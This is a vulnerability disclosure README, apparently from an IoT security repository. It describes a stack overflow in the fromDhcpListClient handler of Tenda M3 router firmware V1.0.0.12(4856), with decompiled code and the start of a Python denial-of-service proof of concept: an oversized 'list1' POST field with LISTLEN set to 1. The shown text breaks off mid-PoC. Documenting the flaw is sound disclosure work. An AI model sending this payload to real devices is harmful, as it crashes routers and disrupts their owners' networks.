

main IoT-vuln / Tenda / M3 / fromDhcpListClient /



d1tto add Tenda M3 ...

on May 27 History

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img

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readme.md

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readme.md

Overview

- The device's official website: <https://www.tenda.com.cn/product/M3.html>
- Firmware download website: <https://www.tenda.com.cn/download/detail-3133.html>

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurs in the fromDhcpListClient function, which can be accessed via the URL goform/DhcpListClient

```

1 int __fastcall fromDhcpListClient(int a1)
2 {
3     int v1; // r0
4     int v2; // r0
5     int v5[4]; // [sp+10h] [bp-36Ch] BYREF
6     char v6; // [sp+20h] [bp-35Ch]
7     char s[64]; // [sp+120h] [bp-25Ch] BYREF
8     char dest[256]; // [sp+160h] [bp-21Ch] BYREF
9     char v9[256]; // [sp+260h] [bp-11Ch] BYREF
10    int v10; // [sp+360h] [bp-1Ch]
11    const char *v11; // [sp+364h] [bp-18h]
12    char *LISTLEN; // [sp+368h] [bp-14h]
13    int i; // [sp+36Ch] [bp-10h]
14
15    i = 0;
16    memset(s, 0, sizeof(s));
17    LISTLEN = (char *)websGetVar(a1, "LISTLEN", "0");
18    v11 = (const char *)websGetVar(a1, "page", "1");
19    v6 = 0;
20    for ( i = 1; ; ++i )
21    {
22        v1 = atoi(LISTLEN);
23        if ( v1 < i )
24            break;
25        v5[0] = 0;
26        v5[1] = 0;
27        v5[2] = 0;
28        v5[3] = 0;
29        sprintf((char *)v5, "%s%d", "list", i);
30        v10 = websGetVar(a1, v5, &unk_A97B8);
31        if ( !v10 || !*( _BYTE *)v10 )
32            break;
33        strcpy(dest, (const char *)(v10 + 1));
34        dest[strlen(dest) - 1] = 0;
35        sprintf(s, "dhcps.Staticip%d", i);
36        SetValue(s, dest);
37    }

```

The POST parameter `listN` is concatenated. The program copies the POST argument without checking the length. We can set `LISTEN` equal to `1`, the program will enter the red box, causing a stack overflow. Since the overflow overrides the `LISTEN` pointer variable, the `atoi` function will crash the program, causing a DOS attack in the second time looping.

PoC

Poc of Denial of Service(DoS)

```
import requests
```

```
data = {
    b"LISTLEN": b"1",
    b"list1": b'A'*0x300,
    b"page": b'A'
}
```

```
cookies = {
    b"user": "admin"
```

